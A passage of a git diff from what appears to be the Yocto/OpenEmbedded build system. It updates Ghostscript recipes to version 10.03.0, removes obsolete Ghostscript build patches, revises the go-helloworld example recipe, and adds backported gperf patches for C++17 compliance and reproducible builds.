10Rebase to 9.23
11Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
12
13---
14 contrib/contrib.mak | 1 +
15 1 file changed, 1 insertion(+)
16
17diff --git a/contrib/contrib.mak b/contrib/contrib.mak
18index 2edee7a..c9100e8 100644
19--- a/contrib/contrib.mak
20+++ b/contrib/contrib.mak
21@@ -1241,6 +1241,7 @@ $(DEVOBJ)gdevalps.$(OBJ) : $(JAPSRC)gdevalps.c $(PDEVH) \
22 ### ----------------- Additional .upp files ---------------- ###
23
24 extra-upp-install: install-libdata
25+ mkdir -p $(DESTDIR)$(gsdatadir)$(D)lib
26 for f in $(CONTRIBSRC)uniprint$(D)*.upp; do \
27 $(INSTALL_DATA) $$f $(DESTDIR)$(gsdatadir)$(D)lib || exit 1; \
28 done
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch
deleted file mode 100644
index a382c7f891..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch
+++ /dev/null
@@ -1,47 +0,0 @@
1From 0124b1c29b9cfe46d73ae82ce023dd7c5b055744 Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Thu, 29 Mar 2018 16:36:12 +0800
4Subject: [PATCH 09/10] ghostscript-native:fix disable-system-libtiff
5
6Modify configure to add the check to make sure
7ghostscrip could work while system-libtiff is
8disabled.
9
10Upstream-Status: Pending
11
12Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
13
14Rebase to ghostscript 9.25.
15
16Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
17Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
18---
19 configure.ac | 5 +++++
20 1 file changed, 5 insertions(+)
21
22diff --git a/configure.ac b/configure.ac
23index 80a60b1..f3e9efb 100644
24--- a/configure.ac
25+++ b/configure.ac
26@@ -1319,6 +1319,7 @@ AC_TRY_COMPILE([], [return 0;],
27 CFLAGS=$CGLAGS_STORE
28
29 if test x"$SHARE_LIBTIFF" = x"0" ; then
30+ if test -e $LIBTIFFDIR/configure; then
31 echo "Running libtiff configure script..."
32 olddir=`pwd`
33 if ! test -d "$LIBTIFFCONFDIR" ; then
34@@ -1337,6 +1338,10 @@ if test x"$SHARE_LIBTIFF" = x"0" ; then
35
36 echo
37 echo "Continuing with Ghostscript configuration..."
38+ else
39+ AC_MSG_NOTICE([Could not find local copy of libtiff.
40+Disabling tiff output devices.])
41+ fi
42 fi
43
44 AC_SUBST(SHARE_LIBTIFF)
45--
461.8.3.1
47
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch
deleted file mode 100644
index c76915fb81..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch
+++ /dev/null
@@ -1,78 +0,0 @@
1From 239d681306a8d97ed10954788d32ba2f4b55f77c Mon Sep 17 00:00:00 2001
2From: Kang Kai <kai.kang@windriver.com>
3Date: Thu, 29 Mar 2018 16:10:16 +0800
4Subject: [PATCH 06/10] prevent recompiling
5
6Just use commands provided by ghostscript-native, preventing recompile
7them when compile ghostscript. Way to enable cross compile.
8
9Upstream-Status: Pending
10
11Signed-off-by: Kang Kai <kai.kang@windriver.com>
12Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
13
14Rebase to 9.25
15Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
16Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
17---
18 base/unix-aux.mak | 44 --------------------------------------------
19 1 file changed, 44 deletions(-)
20
21diff --git a/base/unix-aux.mak b/base/unix-aux.mak
22index 5bf72e9..9cb39d7 100644
23--- a/base/unix-aux.mak
24+++ b/base/unix-aux.mak
25@@ -54,50 +54,6 @@ $(AUX)gp_stdia.$(OBJ): $(GLSRC)gp_stdia.
26 $(stdio__h) $(time__h) $(unistd__h) $(gx_h) $(gp_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
27 $(GLCCAUX) $(AUXO_)gp_stdia.$(OBJ) $(C_) $(GLSRC)gp_stdia.c
28
29-# -------------------------- Auxiliary programs --------------------------- #
30-
31-$(ECHOGS_XE): $(GLSRC)echogs.c $(AK) $(stdpre_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
32- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(ECHOGS_XE) $(GLSRC)echogs.c $(AUXEXTRALIBS)
33-
34-$(PACKPS_XE): $(GLSRC)pack_ps.c $(stdpre_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
35- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(PACKPS_XE) $(GLSRC)pack_ps.c $(AUXEXTRALIBS)
36-
37-# On the RS/6000 (at least), compiling genarch.c with gcc with -O
38-# produces a buggy executable.
39-$(GENARCH_XE): $(GLSRC)genarch.c $(AK) $(GENARCH_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
40- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENARCH_XE) $(GLSRC)genarch.c $(AUXEXTRALIBS)
41-
42-$(GENCONF_XE): $(GLSRC)genconf.c $(AK) $(GENCONF_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
43- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENCONF_XE) $(GLSRC)genconf.c $(AUXEXTRALIBS)
44-
45-$(GENDEV_XE): $(GLSRC)gendev.c $(AK) $(GENDEV_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
46- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENDEV_XE) $(GLSRC)gendev.c $(AUXEXTRALIBS)
47-
48-$(GENHT_XE): $(GLSRC)genht.c $(AK) $(GENHT_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
49- $(CCAUX_) $(GENHT_CFLAGS) $(O_)$(GENHT_XE) $(GLSRC)genht.c $(AUXEXTRALIBS)
50-
51-# To get GS to use the system zlib, you remove/hide the gs/zlib directory
52-# which means that the mkromfs build can't find the zlib source it needs.
53-# So it's split into two targets, one using the zlib source directly.....
54-MKROMFS_OBJS_0=$(MKROMFS_ZLIB_OBJS) $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
55- $(AUX)gscdefs.$(OBJ) $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
56- $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ) $(AUX)memento.$(OBJ)
57-
58-$(MKROMFS_XE)_0: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_0) $(UNIX_AUX_MAK) $(MAKEDIRS)
59- $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_0 $(MKROMFS_OBJS_0) $(AUXEXTRALIBS)
60-
61-# .... and one using the zlib library linked via the command line
62-MKROMFS_OBJS_1=$(AUX)gscdefs.$(OBJ) \
63- $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
64- $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
65- $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ)
66-
67-$(MKROMFS_XE)_1: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_1) $(UNIX_AUX_MAK) $(MAKEDIRS)
68- $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_1 $(MKROMFS_OBJS_1) $(AUXEXTRALIBS)
69-
70-$(MKROMFS_XE): $(MKROMFS_XE)_$(SHARE_ZLIB) $(UNIX_AUX_MAK) $(MAKEDIRS)
71- $(CP_) $(MKROMFS_XE)_$(SHARE_ZLIB) $(MKROMFS_XE)
72-
73 # Query the environment to construct gconfig_.h.
74 # These are all defined conditionally (except the JasPER one), so that
75 # they can be overridden by settings from the configure script.
76--
771.8.3.1
78
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch b/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch
deleted file mode 100644
index 3e6d3e3c48..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch
+++ /dev/null
@@ -1,50 +0,0 @@
1From 2b23026f8e2a352417fb1c4da94bf69b19bef267 Mon Sep 17 00:00:00 2001
2From: Joe Slater <joe.slater@windriver.com>
3Date: Thu, 29 Mar 2018 16:04:32 +0800
4Subject: [PATCH 05/10] ghostscript: allow directories to be created more than
5 once
6
7When doing parallel builds, we might try to create directories
8more than once. This should not cause an error.
9
10Upstream-Status: Pending
11
12Signed-off-by: Joe Slater <joe.slater@windriver.com>
13
14Rebase to 9.23
15Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
16---
17 base/unix-end.mak | 17 ++++++++---------
18 1 file changed, 8 insertions(+), 9 deletions(-)
19
20diff --git a/base/unix-end.mak b/base/unix-end.mak
21index 9ce599a..feff5a6 100644
22--- a/base/unix-end.mak
23+++ b/base/unix-end.mak
24@@ -17,15 +17,14 @@
25 UNIX_END_MAK=$(GLSRC)unix-end.mak $(TOP_MAKEFILES)
26 # Define the rule for building standard configurations.
27 directories: $(UNIX_END_MAK)
28- @if test "$(BINDIR)" != "" -a ! -d $(BINDIR); then mkdir $(BINDIR); fi
29- @if test "$(GLGENDIR)" != "" -a ! -d $(GLGENDIR); then mkdir $(GLGENDIR); fi
30- @if test "$(GLOBJDIR)" != "" -a ! -d $(GLOBJDIR); then mkdir $(GLOBJDIR); fi
31- @if test "$(DEVGENDIR)" != "" -a ! -d $(DEVGENDIR); then mkdir $(DEVGENDIR); fi
32- @if test "$(DEVOBJDIR)" != "" -a ! -d $(DEVOBJDIR); then mkdir $(DEVOBJDIR); fi
33- @if test "$(AUXDIR)" != "" -a ! -d $(AUXDIR); then mkdir $(AUXDIR); fi
34- @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR); then mkdir $(PSGENDIR); fi
35- @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR)/cups; then mkdir $(PSGENDIR)/cups; fi
36- @if test "$(PSOBJDIR)" != "" -a ! -d $(PSOBJDIR); then mkdir $(PSOBJDIR); fi
37+ @if test "$(BINDIR)" != "" -a ! -d $(BINDIR); then mkdir -p $(BINDIR); fi
38+ @if test "$(GLGENDIR)" != "" -a ! -d $(GLGENDIR); then mkdir -p $(GLGENDIR); fi
39+ @if test "$(GLOBJDIR)" != "" -a ! -d $(GLOBJDIR); then mkdir -p $(GLOBJDIR); fi
40+ @if test "$(DEVGENDIR)" != "" -a ! -d $(DEVGENDIR); then mkdir -p $(DEVGENDIR); fi
41+ @if test "$(DEVOBJDIR)" != "" -a ! -d $(DEVOBJDIR); then mkdir -p $(DEVOBJDIR); fi
42+ @if test "$(AUXDIR)" != "" -a ! -d $(AUXDIR); then mkdir -p $(AUXDIR); fi
43+ @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR)/cups; then mkdir -p $(PSGENDIR)/cups; fi
44+ @if test "$(PSOBJDIR)" != "" -a ! -d $(PSOBJDIR); then mkdir -p $(PSOBJDIR); fi
45
46
47 gs: .gssubtarget $(UNIX_END_MAK)
48--
491.8.3.1
50
diff --git a/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb b/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb
new file mode 100644
index 0000000000..ff7d38676e
--- /dev/null
+++ b/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb
@@ -0,0 +1,75 @@
1SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
2DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
3a back-end to a program such as ghostview, it can display PostScript and PDF \
4documents in an X11 environment. \
5\
6Furthermore, it can render PostScript and PDF files as graphics to be printed \
7on non-PostScript printers. Supported printers include common \
8dot-matrix, inkjet and laser models. \
9"
10HOMEPAGE = "http://www.ghostscript.com"
11SECTION = "console/utils"
12
13LICENSE = "AGPL-3.0-or-later"
14LIC_FILES_CHKSUM = "file://LICENSE;md5=f98ffa763e50cded76f49bce73aade16"
15
16DEPENDS = "tiff jpeg fontconfig cups libpng freetype zlib"
17
18UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
19UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
20
21def gs_verdir(v):
22 return "".join(v.split("."))
23
24
25SRC_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
26 file://ghostscript-9.16-Werror-return-type.patch \
27 file://avoid-host-contamination.patch \
28 "
29
30SRC_URI[sha256sum] = "6f2bc61023469fcf7c7c2d7f1bdd75b75f2b41836aa1d5e641396246d4abbb59"
31
32PACKAGECONFIG ??= ""
33PACKAGECONFIG[gtk] = "--enable-gtk,--disable-gtk,gtk+3"
34PACKAGECONFIG[libidn] = "--with-libidn,--without-libidn,libidn"
35PACKAGECONFIG[libpaper] = "--with-libpaper,--without-libpaper,libpaper"
36PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
37 --without-x, virtual/libx11 libxext libxt"
38
39EXTRA_OECONF = "--with-jbig2dec \
40 --with-fontpath=${datadir}/fonts \
41 CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
42 PKGCONFIG=pkg-config \
43 "
44
45EXTRA_OECONF:append:mipsarcho32 = " --with-large_color_index=0"
46
47EXTRA_OECONF:append:armv7a = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
48EXTRA_OECONF:append:armv7ve = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
49
50# Uses autoconf but not automake, can't do out-of-tree
51inherit autotools-brokensep pkgconfig
52
53# Prune the source tree of libraries that we're using our packaging of, so that
54# ghostscript can't link to them. Can't prune zlib as that's needed for the
55# native tools.
56prune_sources() {
57 rm -rf ${S}/jpeg/ ${S}/libpng/ ${S}/tiff/ ${S}/expat/ ${S}/freetype/ ${S}/cups/lib
58}
59do_unpack[postfuncs] += "prune_sources"
60
61do_install:append () {
62 oe_runmake DESTDIR=${D} install-so
63 oe_runmake DESTDIR=${D} install-data
64 cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
65 cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
66}
67
68# ghostscript does not supports "arc"
69COMPATIBLE_HOST = "^(?!arc).*"
70
71# some entries in NVD uses gpl_ghostscript
72CVE_PRODUCT = "ghostscript gpl_ghostscript"
73
74CVE_STATUS[CVE-2023-38560] = "not-applicable-config: PCL isn't part of the Ghostscript release"
75CVE_STATUS[CVE-2023-38559] = "cpe-incorrect: Issue only appears in versions before 10.02.0"
diff --git a/meta/recipes-extended/ghostscript/ghostscript_9.53.3.bb b/meta/recipes-extended/ghostscript/ghostscript_9.53.3.bb
deleted file mode 100644
index cbf60c8c85..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript_9.53.3.bb
+++ /dev/null
@@ -1,125 +0,0 @@
1SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
2DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
3a back-end to a program such as ghostview, it can display PostScript and PDF \
4documents in an X11 environment. \
5\
6Furthermore, it can render PostScript and PDF files as graphics to be printed \
7on non-PostScript printers. Supported printers include common \
8dot-matrix, inkjet and laser models. \
9"
10HOMEPAGE = "http://www.ghostscript.com"
11SECTION = "console/utils"
12
13LICENSE = "GPLv3"
14LIC_FILES_CHKSUM = "file://LICENSE;md5=70dc2bac4d0ce4448da873cd86b123fc"
15
16DEPENDS = "ghostscript-native tiff jpeg fontconfig cups libpng"
17DEPENDS_class-native = "libpng-native"
18
19UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
20UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
21
22def gs_verdir(v):
23 return "".join(v.split("."))
24
25
26SRC_URI_BASE = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
27 file://ghostscript-9.15-parallel-make.patch \
28 file://ghostscript-9.16-Werror-return-type.patch \
29 file://do-not-check-local-libpng-source.patch \
30 file://avoid-host-contamination.patch \
31 file://mkdir-p.patch \
32"
33
34SRC_URI = "${SRC_URI_BASE} \
35 file://ghostscript-9.21-prevent_recompiling.patch \
36 file://cups-no-gcrypt.patch \
37 "
38
39SRC_URI_class-native = "${SRC_URI_BASE} \
40 file://ghostscript-9.21-native-fix-disable-system-libtiff.patch \
41 file://base-genht.c-add-a-preprocessor-define-to-allow-fope.patch \
42 "
43
44SRC_URI[sha256sum] = "6eaf422f26a81854a230b80fd18aaef7e8d94d661485bd2e97e695b9dce7bf7f"
45
46# Put something like
47#
48# PACKAGECONFIG_append_pn-ghostscript = " x11"
49#
50# in local.conf to enable building with X11. Be careful. The order
51# of the overrides matters!
52#
53#PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', '', d)}"
54PACKAGECONFIG_class-native = ""
55
56PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
57 --without-x, virtual/libx11 libxext libxt gtk+3\
58 "
59
60EXTRA_OECONF = "--without-libpaper --with-system-libtiff --without-jbig2dec \
61 --with-fontpath=${datadir}/fonts \
62 --without-libidn --with-cups-serverbin=${exec_prefix}/lib/cups \
63 --with-cups-datadir=${datadir}/cups \
64 CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
65 "
66
67EXTRA_OECONF_append_mipsarcho32 = " --with-large_color_index=0"
68
69# Explicity disable libtiff, fontconfig,
70# freetype, cups for ghostscript-native
71EXTRA_OECONF_class-native = "--without-x --with-system-libtiff=no \
72 --without-jbig2dec --without-libpaper \
73 --with-fontpath=${datadir}/fonts \
74 --without-libidn --disable-fontconfig \
75 --enable-freetype --disable-cups "
76
77# This has been fixed upstream but for now we need to subvert the check for time.h
78# http://bugs.ghostscript.com/show_bug.cgi?id=692443
79# http://bugs.ghostscript.com/show_bug.cgi?id=692426
80CFLAGS += "-DHAVE_SYS_TIME_H=1"
81BUILD_CFLAGS += "-DHAVE_SYS_TIME_H=1"
82
83inherit autotools-brokensep
84
85do_configure_prepend_class-target () {
86 rm -rf ${S}/jpeg/
87}
88
89do_configure_append () {
90 # copy tools from the native ghostscript build
91 if [ "${PN}" != "ghostscript-native" ]; then
92 mkdir -p obj/aux soobj
93 for i in genarch genconf mkromfs echogs gendev genht packps; do
94 cp ${STAGING_BINDIR_NATIVE}/ghostscript-${PV}/$i obj/aux/$i
95 done
96 fi
97}
98
99do_install_append () {
100 mkdir -p ${D}${datadir}/ghostscript/${PV}/
101 cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
102 cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
103}
104
105do_compile_class-native () {
106 mkdir -p obj
107 for i in genarch genconf mkromfs echogs gendev genht packps; do
108 oe_runmake obj/aux/$i
109 done
110}
111
112do_install_class-native () {
113 install -d ${D}${bindir}/ghostscript-${PV}
114 for i in genarch genconf mkromfs echogs gendev genht packps; do
115 install -m 755 obj/aux/$i ${D}${bindir}/ghostscript-${PV}/$i
116 done
117}
118
119BBCLASSEXTEND = "native"
120
121# ghostscript does not supports "arc"
122COMPATIBLE_HOST = "^(?!arc).*"
123
124# some entries in NVD uses gpl_ghostscript
125CVE_PRODUCT = "ghostscript gpl_ghostscript"
diff --git a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
index d3f7525dc9..74f3520eae 100644
--- a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
+++ b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
@@ -1,21 +1,22 @@
1DESCRIPTION = "This is a simple example recipe that cross-compiles a Go program." 1SUMMARY = "This is a simple example recipe that cross-compiles a Go program."
2SECTION = "examples" 2SECTION = "examples"
3HOMEPAGE = "https://golang.org/" 3HOMEPAGE = "https://golang.org/"
4 4
5LICENSE = "MIT" 5LICENSE = "MIT"
6LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302" 6LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
7 7
8SRC_URI = "git://${GO_IMPORT}" 8SRC_URI = "git://go.googlesource.com/example;branch=master;protocol=https"
9SRCREV = "bcf50bfd7dcd8020c90965747d857ae42802e0c5" 9SRCREV = "32022caedd6a177a7717aa8680cbe179e1045935"
10UPSTREAM_CHECK_COMMITS = "1" 10UPSTREAM_CHECK_COMMITS = "1"
11 11
12GO_IMPORT = "github.com/golang/example" 12GO_IMPORT = "golang.org/x/example"
13GO_INSTALL = "${GO_IMPORT}/hello" 13GO_INSTALL = "${GO_IMPORT}/hello"
14GO_WORKDIR = "${GO_INSTALL}"
15 14
16inherit go-mod 15export GO111MODULE="off"
16
17inherit go
17 18
18# This is just to make clear where this example is 19# This is just to make clear where this example is
19do_install_append() { 20do_install:append() {
20 mv ${D}${bindir}/hello ${D}${bindir}/${BPN} 21 mv ${D}${bindir}/hello ${D}${bindir}/${BPN}
21} 22}
diff --git a/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch b/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch
new file mode 100644
index 0000000000..96e70cdb36
--- /dev/null
+++ b/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch
@@ -0,0 +1,29 @@
1From 6194f0027045433598a61965758b4531a3d06d1f Mon Sep 17 00:00:00 2001
2From: Bruno Haible <bruno@clisp.org>
3Date: Sun, 30 Aug 2020 12:36:15 +0200
4Subject: [PATCH] Make the code C++17 compliant.
5
6* lib/getline.cc (getstr): Don't use the 'register' keyword.
7
8Upstream-Status: Backport [https://git.savannah.gnu.org/gitweb/?p=gperf.git;a=commit;h=a63b830554920476881837eeacd4a6b507632b19]
9Signed-off-by: Khem Raj <raj.khem@gmail.com>
10---
11 lib/getline.cc | 2 +-
12 1 file changed, 1 insertion(+), 1 deletion(-)
13
14diff --git a/lib/getline.cc b/lib/getline.cc
15index c57c633..0984a7c 100644
16--- a/lib/getline.cc
17+++ b/lib/getline.cc
18@@ -55,7 +55,7 @@ getstr (char **lineptr, size_t *n, FILE *stream, char terminator, size_t offset)
19
20 for (;;)
21 {
22- register int c = getc (stream);
23+ int c = getc (stream);
24
25 /* We always want at least one char left in the buffer, since we
26 always (unless we get an error while reading the first char)
27--
282.39.0
29
diff --git a/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch b/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch
new file mode 100644
index 0000000000..98959db0a8
--- /dev/null
+++ b/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch
@@ -0,0 +1,181 @@
1From 1862c6e57a308a05889c80c048dbc58bdc378dcb Mon Sep 17 00:00:00 2001
2From: Bruno Haible <bruno@clisp.org>
3Date: Tue, 5 Jul 2022 07:51:46 +0200
4Subject: [PATCH] Add support for reproducible builds.
5
6Suggested by Richard Purdie <richard.purdie@linuxfoundation.org> in
7<https://lists.gnu.org/archive/html/bug-gperf/2022-07/msg00000.html>.
8
9* autogen.sh: Import also lib/filename.h.
10* Makefile.in (IMPORTED_FILES): Add lib/filename.h.
11* src/options.cc: Include filename.h.
12(Options::print_options): Print only the base name of the program name.
13* tests/*.exp: Update.
14
15Upstream-Status: Backport
16
17Index: gperf-3.1/ChangeLog
18===================================================================
19--- gperf-3.1.orig/ChangeLog
20+++ gperf-3.1/ChangeLog
21@@ -1,3 +1,14 @@
22+2022-07-05 Bruno Haible <bruno@clisp.org>
23+
24+ Add support for reproducible builds.
25+ Suggested by Richard Purdie <richard.purdie@linuxfoundation.org> in
26+ <https://lists.gnu.org/archive/html/bug-gperf/2022-07/msg00000.html>.
27+ * autogen.sh: Import also lib/filename.h.
28+ * Makefile.in (IMPORTED_FILES): Add lib/filename.h.
29+ * src/options.cc: Include filename.h.
30+ (Options::print_options): Print only the base name of the program name.
31+ * tests/*.exp: Update.
32+
33 2017-01-02 Marcel Schaible <marcel.schaible@studium.fernuni-hagen.de>
34
35 * gperf-3.1 released.
36Index: gperf-3.1/src/options.cc
37===================================================================
38--- gperf-3.1.orig/src/options.cc
39+++ gperf-3.1/src/options.cc
40@@ -26,6 +26,7 @@
41 #include <string.h> /* declares strcmp() */
42 #include <ctype.h> /* declares isdigit() */
43 #include <limits.h> /* defines CHAR_MAX */
44+#include "filename.h"
45 #include "getopt.h"
46 #include "version.h"
47
48@@ -280,6 +281,16 @@ Options::print_options () const
49 {
50 const char *arg = _argument_vector[i];
51
52+ if (i == 0)
53+ {
54+ /* _argument_vector[0] is the program name. Print only its base name.
55+ This is useful for reproducible builds. */
56+ const char *p = arg + strlen (arg);
57+ while (p > arg && ! ISSLASH (p[-1]))
58+ p--;
59+ arg = p;
60+ }
61+
62 /* Escape arg if it contains shell metacharacters. */
63 if (*arg == '-')
64 {
65Index: gperf-3.1/lib/filename.h
66===================================================================
67--- /dev/null
68+++ gperf-3.1/lib/filename.h
69@@ -0,0 +1,112 @@
70+/* Basic filename support macros.
71+ Copyright (C) 2001-2022 Free Software Foundation, Inc.
72+ This file is part of the GNU C Library.
73+
74+ The GNU C Library is free software; you can redistribute it and/or
75+ modify it under the terms of the GNU Lesser General Public
76+ License as published by the Free Software Foundation; either
77+ version 2.1 of the License, or (at your option) any later version.
78+
79+ The GNU C Library is distributed in the hope that it will be useful,
80+ but WITHOUT ANY WARRANTY; without even the implied warranty of
81+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
82+ Lesser General Public License for more details.
83+
84+ You should have received a copy of the GNU Lesser General Public
85+ License along with the GNU C Library; if not, see
86+ <https://www.gnu.org/licenses/>. */
87+
88+/* From Paul Eggert and Jim Meyering. */
89+
90+#ifndef _FILENAME_H
91+#define _FILENAME_H
92+
93+#include <string.h>
94+
95+#ifdef __cplusplus
96+extern "C" {
97+#endif
98+
99+
100+/* Filename support.
101+ ISSLASH(C) tests whether C is a directory separator
102+ character.
103+ HAS_DEVICE(Filename) tests whether Filename contains a device
104+ specification.
105+ FILE_SYSTEM_PREFIX_LEN(Filename) length of the device specification
106+ at the beginning of Filename,
107+ index of the part consisting of
108+ alternating components and slashes.
109+ FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE
110+ 1 when a non-empty device specification
111+ can be followed by an empty or relative
112+ part,
113+ 0 when a non-empty device specification
114+ must be followed by a slash,
115+ 0 when device specification don't exist.
116+ IS_ABSOLUTE_FILE_NAME(Filename)
117+ tests whether Filename is independent of
118+ any notion of "current directory".
119+ IS_RELATIVE_FILE_NAME(Filename)
120+ tests whether Filename may be concatenated
121+ to a directory filename.
122+ Note: On native Windows, OS/2, DOS, "c:" is neither an absolute nor a
123+ relative file name!
124+ IS_FILE_NAME_WITH_DIR(Filename) tests whether Filename contains a device
125+ or directory specification.
126+ */
127+#if defined _WIN32 || defined __CYGWIN__ \
128+ || defined __EMX__ || defined __MSDOS__ || defined __DJGPP__
129+ /* Native Windows, Cygwin, OS/2, DOS */
130+# define ISSLASH(C) ((C) == '/' || (C) == '\\')
131+ /* Internal macro: Tests whether a character is a drive letter. */
132+# define _IS_DRIVE_LETTER(C) \
133+ (((C) >= 'A' && (C) <= 'Z') || ((C) >= 'a' && (C) <= 'z'))
134+ /* Help the compiler optimizing it. This assumes ASCII. */
135+# undef _IS_DRIVE_LETTER
136+# define _IS_DRIVE_LETTER(C) \
137+ (((unsigned int) (C) | ('a' - 'A')) - 'a' <= 'z' - 'a')
138+# define HAS_DEVICE(Filename) \
139+ (_IS_DRIVE_LETTER ((Filename)[0]) && (Filename)[1] == ':')
140+# define FILE_SYSTEM_PREFIX_LEN(Filename) (HAS_DEVICE (Filename) ? 2 : 0)
141+# ifdef __CYGWIN__
142+# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 0
143+# else
144+ /* On native Windows, OS/2, DOS, the system has the notion of a
145+ "current directory" on each drive. */
146+# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 1
147+# endif
148+# if FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE
149+# define IS_ABSOLUTE_FILE_NAME(Filename) \
150+ ISSLASH ((Filename)[FILE_SYSTEM_PREFIX_LEN (Filename)])
151+# else
152+# define IS_ABSOLUTE_FILE_NAME(Filename) \
